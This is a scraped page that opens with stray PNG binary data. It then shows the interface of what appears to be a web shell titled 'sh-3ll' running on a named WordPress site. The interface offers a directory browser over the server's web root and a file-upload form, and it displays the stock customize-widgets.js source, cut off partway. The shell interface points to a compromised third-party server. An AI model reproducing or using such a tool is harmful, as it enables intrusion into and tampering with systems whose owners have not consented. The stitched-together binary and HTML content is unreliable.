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5"C 1 H  b?߮    3x  3 & g ş g  g    l  _   h     Z^,`5 ?   ߎ  vĸ% ̀M! OZC2#0x    LJ  0    G w    $I $I } < {Eb + y   ; iI,`    ܚ  F     : 5  ܛ A 8   -O -| 8 K 7  s |# Z8 a& >  <  a&    /V  tb t L  ʌI $I $I $I $I $I $IRj   D  D %tEXtdate:create2022-05-31T04:40:26+00:00 !Î%tEXtdate:modify2022-05-31T04:40:26+00:00 |{2IEND B`  <!doctypehtml><head><link href="https://fonts.googleapis.com"rel="preconnect"><link href="https://fonts.gstatic.com"rel="preconnect"crossorigin><link href="https://fonts.googleapis.com/css2?family=Maven+Pro:wght@400..900&display=swap"rel="stylesheet"><link href=""rel="stylesheet"type="text/css"><title>sh-3ll</title><style>body{background-color:#f0f0f0;color:#000;margin:0;padding:0;font-family:"Maven Pro",system-ui;font-optical-sizing:auto;font-weight:<weight>;font-style:normal}table{width:100%;border-collapse:collapse;border:1px solid #ddd;box-shadow:0 0 10px rgba(0,0,0,.1)}#content .first{background-color:#f7f7f7;font-weight:700}#content tr{border:1px #252525 solid}#content tr:hover{background-color:#f0f0f0;box-shadow:0 0 10px rgba(0,0,0,.05)}h1{font-family:Roboto,sans-serif;font-size:2em;color:#444;text-align:center;margin:20px 0}a{color:#007bff;text-decoration:none}a:hover{color:#0056b3;text-decoration:underline;text-shadow:none}input,select,textarea{border:1px solid #ccc;border-radius:4px;padding:10px;font-size:1em;background-color:#fff;box-shadow:0 0 5px rgba(0,0,0,.1)}input:focus,select:focus,textarea:focus{border-color:#007bff;outline:0;box-shadow:0 0 5px rgba(0,123,255,.5)}@media (max-width:768px){table{width:100%;font-size:.9em}h1{font-size:1.5em}}</style></head><body><h1><center><a href="?">HOME</a></center></h1><table align="center"border="0"cellpadding="3"cellspacing="1"width="700"><tr><td>DIR:<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/vhosts">vhosts</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com">dienmaychuyennghiep.com</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs">httpdocs</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-admin">wp-admin</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-admin/js">js</a>/</td></tr><tr><td><form method="POST"enctype="multipart/form-data">Upload File : <input type="file"name="file"> <input value="upload"type="submit"></form></td></tr><tr><td>Current File : /var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-admin/js/customize-widgets.js</td></tr><tr><td><pre>/**
 * @output wp-admin/js/customize-widgets.js
 */

/* global _wpCustomizeWidgetsSettings */
(function( wp, $ ){

	if ( ! wp || ! wp.customize ) { return; }

	// Set up our namespace...
	var api = wp.customize,
		l10n;

	/**
	 * @namespace wp.customize.Widgets
	 */
	api.Widgets = api.Widgets || {};
	api.Widgets.savedWidgetIds = {};

	// Link settings.
	api.Widgets.data = _wpCustomizeWidgetsSettings || {};
	l10n = api.Widgets.data.l10n;

	/**
	 * wp.customize.Widgets.WidgetModel
	 *
	 * A single widget model.
	 *
	 * @class    wp.customize.Widgets.WidgetModel
	 * @augments Backbone.Model
	 */
	api.Widgets.WidgetModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.WidgetModel.prototype */{
		id: null,
		temp_id: null,
		classname: null,
		control_tpl: null,
		description: null,
		is_disabled: null,
		is_multi: null,
		multi_number: null,
		name: null,
		id_base: null,
		transport: null,
		params: [],
		width: null,
		height: null,
		search_matched: true
	});

	/**
	 * wp.customize.Widgets.WidgetCollection
	 *
	 * Collection for widget models.
	 *
	 * @class    wp.customize.Widgets.WidgetCollection
	 * @augments Backbone.Collection
	 */
	api.Widgets.WidgetCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.WidgetCollection.prototype */{
		model: api.Widgets.WidgetModel,

		// Controls searching on the current widget collection
		// and triggers an update event.
		doSearch: function( value ) {

			// Don&#039;t do anything if we&#039;ve already done this search.
			// Useful because the search handler fires multiple times per keystroke.
			if ( this.terms === value ) {
				return;
			}

			// Updates terms with the value passed.
			this.terms = value;

			// If we have terms, run a search...
			if ( this.terms.length &gt; 0 ) {
				this.search( this.terms );
			}

			// If search is blank, set all the widgets as they matched the search to reset the views.
			if ( this.terms === &#039;&#039; ) {
				this.each( function ( widget ) {
					widget.set( &#039;search_matched&#039;, true );
				} );
			}
		},

		// Performs a search within the collection.
		// @uses RegExp
		search: function( term ) {
			var match, haystack;

			// Escape the term string for RegExp meta characters.
			term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, &#039;\\$&amp;&#039; );

			// Consider spaces as word delimiters and match the whole string
			// so matching terms can be combined.
			term = term.replace( / /g, &#039;)(?=.*&#039; );
			match = new RegExp( &#039;^(?=.*&#039; + term + &#039;).+&#039;, &#039;i&#039; );

			this.each( function ( data ) {
				haystack = [ data.get( &#039;name&#039; ), data.get( &#039;description&#039; ) ].join( &#039; &#039; );
				data.set( &#039;search_matched&#039;, match.test( haystack ) );
			} );
		}
	});
	api.Widgets.availableWidgets = new api.Widgets.WidgetCollection( api.Widgets.data.availableWidgets );

	/**
	 * wp.customize.Widgets.SidebarModel
	 *
	 * A single sidebar model.
	 *
	 * @class    wp.customize.Widgets.SidebarModel
	 * @augments Backbone.Model
	 */
	api.Widgets.SidebarModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.SidebarModel.prototype */{
		after_title: null,
		after_widget: null,
		before_title: null,
		before_widget: null,
		&#039;class&#039;: null,
		description: null,
		id: null,
		name: null,
		is_rendered: false
	});

	/**
	 * wp.customize.Widgets.SidebarCollection
	 *
	 * Collection for sidebar models.
	 *
	 * @class    wp.customize.Widgets.SidebarCollection
	 * @augments Backbone.Collection
	 */
	api.Widgets.SidebarCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.SidebarCollection.prototype */{
		model: api.Widgets.SidebarModel
	});
	api.Widgets.registeredSidebars = new api.Widgets.SidebarCollection( api.Widgets.data.registeredSidebars );

	api.Widgets.AvailableWidgetsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Widgets.AvailableWidgetsPanelView.prototype */{

		el: &#039;#available-widgets&#039;,

		events: {
			&#039;input #widgets-search&#039;: &#039;search&#039;,
			&#039;focus .widget-tpl&#039; : &#039;focus&#039;,
			&#039;click .widget-tpl&#039; : &#039;_submit&#039;,
			&#039;keypress .widget-tpl&#039; : &#039;_submit&#039;,
			&#039;keydown&#039; : &#039;keyboardAccessible&#039;
		},

		// Cache current selected widget.
		selected: null,

		// Cache sidebar control which has opened panel.
		currentSidebarControl: null,
		$search: null,
		$clearResults: null,
		searchMatchesCount: null,

		/**
		 * View class for the available widgets panel.
		 *
		 * @constructs wp.customize.Widgets.AvailableWidgetsPanelView
		 * @augments   wp.Backbone.View
		 */
		initialize: function() {
			var self = this;

			this.$search = $( &#039;#widgets-search&#039; );

			this.$clearResults = this.$el.find( &#039;.clear-results&#039; );

			_.bindAll( this, &#039;close&#039; );

			this.listenTo( this.collection, &#039;change&#039;, this.updateList );

			this.updateList();

			// Set the initial search count to the number of available widgets.
			this.searchMatchesCount = this.collection.length;

			/*
			 * If the available widgets panel is open and the customize controls
			 * are interacted with (i.e. available widgets panel is blurred) then
			 * close the available widgets panel. Also close on back button click.
			 */
			$( &#039;#customize-controls, #available-widgets .customize-section-title&#039; ).on( &#039;click keydown&#039;, function( e ) {
				var isAddNewBtn = $( e.target ).is( &#039;.add-new-widget, .add-new-widget *&#039; );
				if ( $( &#039;body&#039; ).hasClass( &#039;adding-widget&#039; ) &amp;&amp; ! isAddNewBtn ) {
					self.close();
				}
			} );

			// Clear the search results and trigger an `input` event to fire a new search.
			this.$clearResults.on( &#039;click&#039;, function() {
				self.$search.val( &#039;&#039; ).trigger( &#039;focus&#039; ).trigger( &#039;input&#039; );
			} );

			// Close the panel if the URL in the preview changes.
			api.previewer.bind( &#039;url&#039;, this.close );
		},

		/**
		 * Performs a search and handles selected widget.
		 */
		search: _.debounce( function( event ) {
			var firstVisible;

			this.collection.doSearch( event.target.value );
			// Update the search matches count.
			this.updateSearchMatchesCount();
			// Announce how many search results.
			this.announceSearchMatches();

			// Remove a widget from being selected if it is no longer visible.
			if ( this.selected &amp;&amp; ! this.selected.is( &#039;:visible&#039; ) ) {
				this.selected.removeClass( &#039;selected&#039; );
				this.selected = null;
			}

			// If a widget was selected but the filter value has been cleared out, clear selection.
			if ( this.selected &amp;&amp; ! event.target.value ) {
				this.selected.removeClass( &#039;selected&#039; );
				this.selected = null;
			}

			// If a filter has been entered and a widget hasn&#039;t been selected, select the first one shown.
			if ( ! this.selected &amp;&amp; event.target.value ) {
				firstVisible = this.$el.find( &#039;&gt; .widget-tpl:visible:first&#039; );
				if ( firstVisible.length ) {
					this.select( firstVisible );
				}
			}

			// Toggle the clear search results button.
			if ( &#039;&#039; !== event.target.value ) {
				this.$clearResults.addClass( &#039;is-visible&#039; );
			} else if ( &#039;&#039; === event.target.value ) {
				this.$clearResults.removeClass( &#039;is-visible&#039; );
			}

			// Set a CSS class on the search container when there are no search results.
			if ( ! this.searchMatchesCount ) {
				this.$el.addClass( &#039;no-widgets-found&#039; );
			} else {
				this.$el.removeClass( &#039;no-widgets-found&#039; );
			}
		}, 500 ),

		/**
		 * Updates the count of the available widgets that have the `search_matched` attribute.
 		 */
		updateSearchMatchesCount: function() {
			this.searchMatchesCount = this.collection.where({ search_matched: true }).length;
		},

		/**
		 * Sends a message to the aria-live region to announce how many search results.
		 */
		announceSearchMatches: function() {
			var message = l10n.widgetsFound.replace( &#039;%d&#039;, this.searchMatchesCount ) ;

			if ( ! this.searchMatchesCount ) {
				message = l10n.noWidgetsFound;
			}

			wp.a11y.speak( message );
		},

		/**
		 * Changes visibility of available widgets.
 		 */
		updateList: function() {
			this.collection.each( function( widget ) {
				var widgetTpl = $( &#039;#widget-tpl-&#039; + widget.id );
				widgetTpl.toggle( widget.get( &#039;search_matched&#039; ) &amp;&amp; ! widget.get( &#039;is_disabled&#039; ) );
				if ( widget.get( &#039;is_disabled&#039; ) &amp;&amp; widgetTpl.is( this.selected ) ) {
					this.selected = null;
				}
			} );
		},

		/**
		 * Highlights a widget.
 		 */
		select: function( widgetTpl ) {
			this.selected = $( widgetTpl );
			this.selected.siblings( &#039;.widget-tpl&#039; ).removeClass( &#039;selected&#039; );
			this.selected.addClass( &#039;selected&#039; );
		},

		/**
		 * Highlights a widget on focus.
		 */
		focus: function( event ) {
			this.select( $( event.currentTarget ) );
		},

		/**
		 * Handles submit for keypress and click on widget.
		 */
		_submit: function( event ) {
			// Only proceed with keypress if it is Enter or Spacebar.
			if ( event.type === &#039;keypress&#039; &amp;&amp; ( event.which !== 13 &amp;&amp; event.which !== 32 ) ) {
				return;
			}

			this.submit( $( event.currentTarget ) );
		},

		/**
		 * Adds a selected widget to the sidebar.
 		 */
		submit: function( widgetTpl ) {
			var widgetId, widget, widgetFormControl;

			if ( ! widgetTpl ) {
				widgetTpl = this.selected;
			}

			if ( ! widgetTpl || ! this.currentSidebarControl ) {
				return;
			}

			this.select( widgetTpl );

			widgetId = $( this.selected ).data( &#039;widget-id&#039; );
			widget = this.collection.findWhere( { id: widgetId } );
			if ( ! widget ) {
				return;
			}

			widgetFormControl = this.currentSidebarControl.addWidget( widget.get( &#039;id_base&#039; ) );
			if ( widgetFormControl ) {
				widgetFormControl.focus();
			}

			this.close();
		},

		/**
		 * Opens the panel.
		 */
		open: function( sidebarControl ) {
			this.currentSidebarControl = sidebarControl;

			// Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens.
			_( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) {
				if ( control.params.is_wide ) {
					control.collapseForm();
				}
			} );

			if ( api.section.has( &#039;publish_settings&#039; ) ) {
				api.section( &#039;publish_settings&#039; ).collapse();
			}

			$( &#039;body&#039; ).addClass( &#039;adding-widget&#039; );

			this.$el.find( &#039;.selected&#039; ).removeClass( &#039;selected&#039; );

			// Reset search.
			this.collection.doSearch( &#039;&#039; );

			if ( ! api.settings.browser.mobile ) {
				this.$search.trigger( &#039;focus&#039; );
			}
		},

		/**
		 * Closes the panel.
		 */
		close: function( options ) {
			options = options || {};

			if ( options.returnFocus &amp;&amp; this.currentSidebarControl ) {
				this.currentSidebarControl.container.find( &#039;.add-new-widget&#039; ).focus();
			}

			this.currentSidebarControl = null;
			this.selected = null;

			$( &#039;body&#039; ).removeClass( &#039;adding-widget&#039; );

			this.$search.val( &#039;&#039; ).trigger( &#039;input&#039; );
		},

		/**
		 * Adds keyboard accessibility to the panel.
		 */
		keyboardAccessible: function( event ) {
			var isEnter = ( event.which === 13 ),
				isEsc = ( event.which === 27 ),
				isDown = ( event.which === 40 ),
				isUp = ( event.which === 38 ),
				isTab = ( event.which === 9 ),
				isShift = ( event.shiftKey ),
				selected = null,
				firstVisible = this.$el.find( &#039;&gt; .widget-tpl:visible:first&#039; ),
				lastVisible = this.$el.find( &#039;&gt; .widget-tpl:visible:last&#039; ),
				isSearchFocused = $( event.target ).is( this.$search ),
				isLastWidgetFocused = $( event.target ).is( &#039;.widget-tpl:visible:last&#039; );

			if ( isDown || isUp ) {
				if ( isDown ) {
					if ( isSearchFocused ) {
						selected = firstVisible;
					} else if ( this.selected &amp;&amp; this.selected.nextAll( &#039;.widget-tpl:visible&#039; ).length !== 0 ) {
						selected = this.selected.nextAll( &#039;.widget-tpl:visible:first&#039; );
					}
				} else if ( isUp ) {
					if ( isSearchFocused ) {
						selected = lastVisible;
					} else if ( this.selected &amp;&amp; this.selected.prevAll( &#039;.widget-tpl:visible&#039; ).length !== 0 ) {
						selected = this.selected.prevAll( &#039;.widget-tpl:visible:first&#039; );
					}
				}

				this.select( selected );

				if ( selected ) {
					selected.trigger( &#039;focus&#039; );
				} else {
					this.$search.trigger( &#039;focus&#039; );
				}

				return;
			}

			// If enter pressed but nothing entered, don&#039;t do anything.
			if ( isEnter &amp;&amp; ! this.$search.val() ) {
				return;
			}

			if ( isEnter ) {
				this.submit();
			} else if ( isEsc ) {
				this.close( { returnFocus: true } );
			}

			if ( this.currentSidebarControl &amp;&amp; isTab &amp;&amp; ( isShift &amp;&amp; isSearchFocused || ! isShift &amp;&amp; isLastWidgetFocused ) ) {
				this.currentSidebarControl.container.find( &#039;.add-new-widget&#039; ).focus();
				event.preventDefault();
			}
		}
	});

	/**
	 * Handlers for the widget-synced event, organized by widget ID base.
	 * Other widgets may provide their own update handlers by adding
	 * listeners for the widget-synced event.
	 *
	 * @alias    wp.customize.Widgets.formSyncHandlers
	 */
	api.Widgets.formSyncHandlers = {

		/**
		 * @param {jQuery.Event} e
		 * @param {jQuery} widget
		 * @param {string} newForm
		 */
		rss: function( e, widget, newForm ) {
			var oldWidgetError = widget.find( &#039;.widget-error:first&#039; ),
				newWidgetError = $( &#039;&lt;div&gt;&#039; + newForm + &#039;&lt;/div&gt;&#039; ).find( &#039;.widget-error:first&#039; );

			if ( oldWidgetError.length &amp;&amp; newWidgetError.length ) {
				oldWidgetError.replaceWith( newWidgetError );
			} else if ( oldWidgetError.length ) {
				oldWidgetError.remove();
			} else if ( newWidgetError.length ) {
				widget.find( &#039;.widget-content:first&#039; ).prepend( newWidgetError );
			}
		}
	};

	api.Widgets.WidgetControl = api.Control.extend(/** @lends wp.customize.Widgets.WidgetControl.prototype */{
		defaultExpandedArguments: {
			duration: &#039;fast&#039;,
			completeCallback: $.noop
		},

		/**
		 * wp.customize.Widgets.WidgetControl
		 *
		 * Customizer control for widgets.
		 * Note that &#039;widget_form&#039; must match the WP_Widget_Form_Customize_Control::$type
		 *
		 * @since 4.1.0
		 *
		 * @constructs wp.customize.Widgets.WidgetControl
		 * @augments   wp.customize.Control
		 */
		initialize: function( id, options ) {
			var control = this;

			control.widgetControlEmbedded = false;
			control.widgetContentEmbedded = false;
			control.expanded = new api.Value( false );
			control.expandedArgumentsQueue = [];
			control.expanded.bind( function( expanded ) {
				var args = control.expandedArgumentsQueue.shift();
				args = $.extend( {}, control.defaultExpandedArguments, args );
				control.onChangeExpanded( expanded, args );
			});
			control.altNotice = true;

			api.Control.prototype.initialize.call( control, id, options );
		},

		/**
		 * Set up the control.
		 *
		 * @since 3.9.0
		 */
		ready: function() {
			var control = this;

			/*
			 * Embed a placeholder once the section is expanded. The full widget
			 * form content will be embedded once the control itself is expanded,
			 * and at this point the widget-added event will be triggered.
			 */
			if ( ! control.section() ) {
				control.embedWidgetControl();
			} else {
				api.section( control.section(), function( section ) {
					var onExpanded = function( isExpanded ) {
						if ( isExpanded ) {
							control.embedWidgetControl();
							section.expanded.unbind( onExpanded );
						}
					};
					if ( section.expanded() ) {
						onExpanded( true );
					} else {
						section.expanded.bind( onExpanded );
					}
				} );
			}
		},

		/**
		 * Embed the .widget element inside the li container.
		 *
		 * @since 4.4.0
		 */
		embedWidgetControl: function() {
			var control = this, widgetControl;

			if ( control.widgetControlEmbedded ) {
				return;
			}
			control.widgetControlEmbedded = true;

			widgetControl = $( control.params.widget_control );
			control.container.append( widgetControl );

			control._setupModel();
			control._setupWideWidget();
			control._setupControlToggle();

			control._setupWidgetTitle();
			control._setupReorderUI();
			control._setupHighlightEffects();
			control._setupUpdateUI();
			control._setupRemoveUI();
		},

		/**
		 * Embed the actual widget form inside of .widget-content and finally trigger the widget-added event.
		 *
		 * @since 4.4.0
		 */
		embedWidgetContent: function() {
			var control = this, widgetContent;

			control.embedWidgetControl();
			if ( control.widgetContentEmbedded ) {
				return;
			}
			control.widgetContentEmbedded = true;

			// Update the notification container element now that the widget content has been embedded.
			control.notifications.container = control.getNotificationsContainerElement();
			control.notifications.render();

			widgetContent = $( control.params.widget_content );
			control.container.find( &#039;.widget-content:first&#039; ).append( widgetContent );

			/*
			 * Trigger widget-added event so that plugins can attach any event
			 * listeners and dynamic UI elements.
			 */
			$( document ).trigger( &#039;widget-added&#039;, [ control.container.find( &#039;.widget:first&#039; ) ] );

		},

		/**
		 * Handle changes to the setting
		 */
		_setupModel: function() {
			var self = this, rememberSavedWidgetId;

			// Remember saved widgets so we know which to trash (move to inactive widgets sidebar).
			rememberSavedWidgetId = function() {
				api.Widgets.savedWidgetIds[self.params.widget_id] = true;
			};
			api.bind( &#039;ready&#039;, rememberSavedWidgetId );
			api.bind( &#039;saved&#039;, rememberSavedWidgetId );

			this._updateCount = 0;
			this.isWidgetUpdating = false;
			this.liveUpdateMode = true;

			// Update widget whenever model changes.
			this.setting.bind( function( to, from ) {
				if ( ! _( from ).isEqual( to ) &amp;&amp; ! self.isWidgetUpdating ) {
					self.updateWidget( { instance: to } );
				}
			} );
		},

		/**
		 * Add special behaviors for wide widget controls
		 */
		_setupWideWidget: function() {
			var self = this, $widgetInside, $widgetForm, $customizeSidebar,
				$themeControlsContainer, positionWidget;

			if ( ! this.params.is_wide || $( window ).width() &lt;= 640 /* max-width breakpoint in customize-controls.css */ ) {
				return;
			}

			$widgetInside = this.container.find( &#039;.widget-inside&#039; );
			$widgetForm = $widgetInside.find( &#039;&gt; .form&#039; );
			$customizeSidebar = $( &#039;.wp-full-overlay-sidebar-content:first&#039; );
			this.container.addClass( &#039;wide-widget-control&#039; );

			this.container.find( &#039;.form:first&#039; ).css( {
				&#039;max-width&#039;: this.params.width,
				&#039;min-height&#039;: this.params.height
			} );

			/**
			 * Keep the widget-inside positioned so the top of fixed-positioned
			 * element is at the same top position as the widget-top. When the
			 * widget-top is scrolled out of view, keep the widget-top in view;
			 * likewise, don&#039;t allow the widget to drop off the bottom of the window.
			 * If a widget is too tall to fit in the window, don&#039;t let the height
			 * exceed the window height so that the contents of the widget control
			 * will become scrollable (overflow:auto).
			 */
			positionWidget = function() {
				var offsetTop = self.container.offset().top,
					windowHeight = $( window ).height(),
					formHeight = $widgetForm.outerHeight(),
					top;
				$widgetInside.css( &#039;max-height&#039;, windowHeight );
				top = Math.max(
					0, // Prevent top from going off screen.
					Math.min(
						Math.max( offsetTop, 0 ), // Distance widget in panel is from top of screen.
						windowHeight - formHeight // Flush up against bottom of screen.
					)
				);
				$widgetInside.css( &#039;top&#039;, top );
			};

			$themeControlsContainer = $( &#039;#customize-theme-controls&#039; );
			this.container.on( &#039;expand&#039;, function() {
				positionWidget();
				$customizeSidebar.on( &#039;scroll&#039;, positionWidget );
				$( window ).on( &#039;resize&#039;, positionWidget );
				$themeControlsContainer.on( &#039;expanded collapsed&#039;, positionWidget );
			} );
			this.container.on( &#039;collapsed&#039;, function() {
				$customizeSidebar.off( &#039;scroll&#039;, positionWidget );
				$( window ).off( &#039;resize&#039;, positionWidget );
				$themeControlsContainer.off( &#039;expanded collapsed&#039;, positionWidget );
			} );

			// Reposition whenever a sidebar&#039;s widgets are changed.
			api.each( function( setting ) {
				if ( 0 === setting.id.indexOf( &#039;sidebars_widgets[&#039; ) ) {
					setting.bind( function() {
						if ( self.container.hasClass( &#039;expanded&#039; ) ) {
							positionWidget();
						}
					} );
				}
			} );
		},

		/**
		 * Show/hide the control when clicking on the form title, when clicking
		 * the close button
		 */
		_setupControlToggle: function() {
			var self = this, $closeBtn;

			this.container.find( &#039;.widget-top&#039; ).on( &#039;click&#039;, function( e ) {
				e.preventDefault();
				var sidebarWidgetsControl = self.getSidebarWidgetsControl();
				if ( sidebarWidgetsControl.isReordering ) {
					return;
				}
				self.expanded( ! self.expanded() );
			} );

			$closeBtn = this.container.find( &#039;.widget-control-close&#039; );
			$closeBtn.on( &#039;click&#039;, function() {
				self.collapse();
				self.container.find( &#039;.widget-top .widget-action:first&#039; ).focus(); // Keyboard accessibility.
			} );
		},

		/**
		 * Update the title of the form if a title field is entered
		 */
		_setupWidgetTitle: function() {
			var self = this, updateTitle;

			updateTitle = function() {
				var title = self.setting().title,
					inWidgetTitle = self.container.find( &#039;.in-widget-title&#039; );

				if ( title ) {
					inWidgetTitle.text( &#039;: &#039; + title );
				} else {
					inWidgetTitle.text( &#039;&#039; );
				}
			};
			this.setting.bind( updateTitle );
			updateTitle();
		},

		/**
		 * Set up the widget-reorder-nav
		 */
		_setupReorderUI: function() {
			var self = this, selectSidebarItem, $moveWidgetArea,
				$reorderNav, updateAvailableSidebars, template;

			/**
			 * select the provided sidebar list item in the move widget area
			 *
			 * @param {jQuery} li
			 */
			selectSidebarItem = function( li ) {
				li.siblings( &#039;.selected&#039; ).removeClass( &#039;selected&#039; );
				li.addClass( &#039;selected&#039; );
				var isSelfSidebar = ( li.data( &#039;id&#039; ) === self.params.sidebar_id );
				self.container.find( &#039;.move-widget-btn&#039; ).prop( &#039;disabled&#039;, isSelfSidebar );
			};

			/**
			 * Add the widget reordering elements to the widget control
			 */
			this.container.find( &#039;.widget-title-action&#039; ).after( $( api.Widgets.data.tpl.widgetReorderNav ) );


			template = _.template( api.Widgets.data.tpl.moveWidgetArea );
			$moveWidgetArea = $( template( {
					sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( &#039;attributes&#039; )
				} )
			);
			this.container.find( &#039;.widget-top&#039; ).after( $moveWidgetArea );

			/**
			 * Update available sidebars when their rendered state changes
			 */
			updateAvailableSidebars = function() {
				var $sidebarItems = $moveWidgetArea.find( &#039;li&#039; ), selfSidebarItem,
					renderedSidebarCount = 0;

				selfSidebarItem = $sidebarItems.filter( function(){
					return $( this ).data( &#039;id&#039; ) === self.params.sidebar_id;
				} );

				$sidebarItems.each( function() {
					var li = $( this ),
						sidebarId, sidebar, sidebarIsRendered;

					sidebarId = li.data( &#039;id&#039; );
					sidebar = api.Widgets.registeredSidebars.get( sidebarId );
					sidebarIsRendered = sidebar.get( &#039;is_rendered&#039; );

					li.toggle( sidebarIsRendered );

					if ( sidebarIsRendered ) {
						renderedSidebarCount += 1;
					}

					if ( li.hasClass( &#039;selected&#039; ) &amp;&amp; ! sidebarIsRendered ) {
						selectSidebarItem( selfSidebarItem );
					}
				} );

				if ( renderedSidebarCount &gt; 1 ) {
					self.container.find( &#039;.move-widget&#039; ).show();
				} else {
					self.container.find( &#039;.move-widget&#039; ).hide();
				}
			};

			updateAvailableSidebars();
			api.Widgets.registeredSidebars.on( &#039;change:is_rendered&#039;, updateAvailableSidebars );

			/**
			 * Handle clicks for up/down/move on the reorder nav
			 */
			$reorderNav = this.container.find( &#039;.widget-reorder-nav&#039; );
			$reorderNav.find( &#039;.move-widget, .move-widget-down, .move-widget-up&#039; ).each( function() {
				$( this ).prepend( self.container.find( &#039;.widget-title&#039; ).text() + &#039;: &#039; );
			} ).on( &#039;click keypress&#039;, function( event ) {
				if ( event.type === &#039;keypress&#039; &amp;&amp; ( event.which !== 13 &amp;&amp; event.which !== 32 ) ) {
					return;
				}
				$( this ).trigger( &#039;focus&#039; );

				if ( $( this ).is( &#039;.move-widget&#039; ) ) {
					self.toggleWidgetMoveArea();
				} else {
					var isMoveDown = $( this ).is( &#039;.move-widget-down&#039; ),
						isMoveUp = $( this ).is( &#039;.move-widget-up&#039; ),
						i = self.getWidgetSidebarPosition();

					if ( ( isMoveUp &amp;&amp; i === 0 ) || ( isMoveDown &amp;&amp; i === self.getSidebarWidgetsControl().setting().length - 1 ) ) {
						return;
					}

					if ( isMoveUp ) {
						self.moveUp();
						wp.a11y.speak( l10n.widgetMovedUp );
					} else {
						self.moveDown();
						wp.a11y.speak( l10n.widgetMovedDown );
					}

					$( this ).trigger( &#039;focus&#039; ); // Re-focus after the container was moved.
				}
			} );

			/**
			 * Handle selecting a sidebar to move to
			 */
			this.container.find( &#039;.widget-area-select&#039; ).on( &#039;click keypress&#039;, &#039;li&#039;, function( event ) {
				if ( event.type === &#039;keypress&#039; &amp;&amp; ( event.which !== 13 &amp;&amp; event.which !== 32 ) ) {
					return;
				}
				event.preventDefault();
				selectSidebarItem( $( this ) );
			} );

			/**
			 * Move widget to another sidebar
			 */
			this.container.find( &#039;.move-widget-btn&#039; ).click( function() {
				self.getSidebarWidgetsControl().toggleReordering( false );

				var oldSidebarId = self.params.sidebar_id,
					newSidebarId = self.container.find( &#039;.widget-area-select li.selected&#039; ).data( &#039;id&#039; ),
					oldSidebarWidgetsSetting, newSidebarWidgetsSetting,
					oldSidebarWidgetIds, newSidebarWidgetIds, i;

				oldSidebarWidgetsSetting = api( &#039;sidebars_widgets[&#039; + oldSidebarId + &#039;]&#039; );
				newSidebarWidgetsSetting = api( &#039;sidebars_widgets[&#039; + newSidebarId + &#039;]&#039; );
				oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() );
				newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() );

				i = self.getWidgetSidebarPosition();
				oldSidebarWidgetIds.splice( i, 1 );
				newSidebarWidgetIds.push( self.params.widget_id );

				oldSidebarWidgetsSetting( oldSidebarWidgetIds );
				newSidebarWidgetsSetting( newSidebarWidgetIds );

				self.focus();
			} );
		},

		/**
		 * Highlight widgets in preview when interacted with in the Customizer
		 */
		_setupHighlightEffects: function() {
			var self = this;

			// Highlight whenever hovering or clicking over the form.
			this.container.on( &#039;mouseenter click&#039;, function() {
				self.setting.previewer.send( &#039;highlight-widget&#039;, self.params.widget_id );
			} );

			// Highlight when the setting is updated.
			this.setting.bind( function() {
				self.setting.previewer.send( &#039;highlight-widget&#039;, self.params.widget_id );
			} );
		},

		/**
		 * Set up event handlers for widget updating
		 */
		_setupUpdateUI: function() {
			var self = this, $widgetRoot, $widgetContent,
				$saveBtn, updateWidgetDebounced, formSyncHandler;

			$widgetRoot = this.container.find( &#039;.widget:first&#039; );
			$widgetContent = $widgetRoot.find( &#039;.widget-content:first&#039; );

			// Configure update button.
			$saveBtn = this.container.find( &#039;.widget-control-save&#039; );
			$saveBtn.val( l10n.saveBtnLabel );
			$saveBtn.attr( &#039;title&#039;, l10n.saveBtnTooltip );
			$saveBtn.removeClass( &#039;button-primary&#039; );
			$saveBtn.on( &#039;click&#039;, function( e ) {
				e.preventDefault();
				self.updateWidget( { disable_form: true } ); // @todo disable_form is unused?
			} );

			updateWidgetDebounced = _.debounce( function() {
				self.updateWidget();
			}, 250 );

			// Trigger widget form update when hitting Enter within an input.
			$widgetContent.on( &#039;keydown&#039;, &#039;input&#039;, function( e ) {
				if ( 13 === e.which ) { // Enter.
					e.preventDefault();
					self.updateWidget( { ignoreActiveElement: true } );
				}
			} );

			// Handle widgets that support live previews.
			$widgetContent.on( &#039;change input propertychange&#039;, &#039;:input&#039;, function( e ) {
				if ( ! self.liveUpdateMode ) {
					return;
				}
				if ( e.type === &#039;change&#039; || ( this.checkValidity &amp;&amp; this.checkValidity() ) ) {
					updateWidgetDebounced();
				}
			} );

			// Remove loading indicators when the setting is saved and the preview updates.
			this.setting.previewer.channel.bind( &#039;synced&#039;, function() {
				self.container.removeClass( &#039;previewer-loading&#039; );
			} );

			api.previewer.bind( &#039;widget-updated&#039;, function( updatedWidgetId ) {
				if ( updatedWidgetId === self.params.widget_id ) {
					self.container.removeClass( &#039;previewer-loading&#039; );
				}
			} );

			formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ];
			if ( formSyncHandler ) {
				$( document ).on( &#039;widget-synced&#039;, function( e, widget ) {
					if ( $widgetRoot.is( widget ) ) {
						formSyncHandler.apply( document, arguments );
					}
				} );
			}
		},

		/**
		 * Update widget control to indicate whether it is currently rendered.
		 *
		 * Overrides api.Control.toggle()
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}   active
		 * @param {Object}    args
		 * @param {function}  args.completeCallback
		 */
		onChangeActive: function ( active, args ) {
			// Note: there is a second &#039;args&#039; parameter being passed, merged on top of this.defaultActiveArguments.
			this.container.toggleClass( &#039;widget-rendered&#039;, active );
			if ( args.completeCallback ) {
				args.completeCallback();
			}
		},

		/**
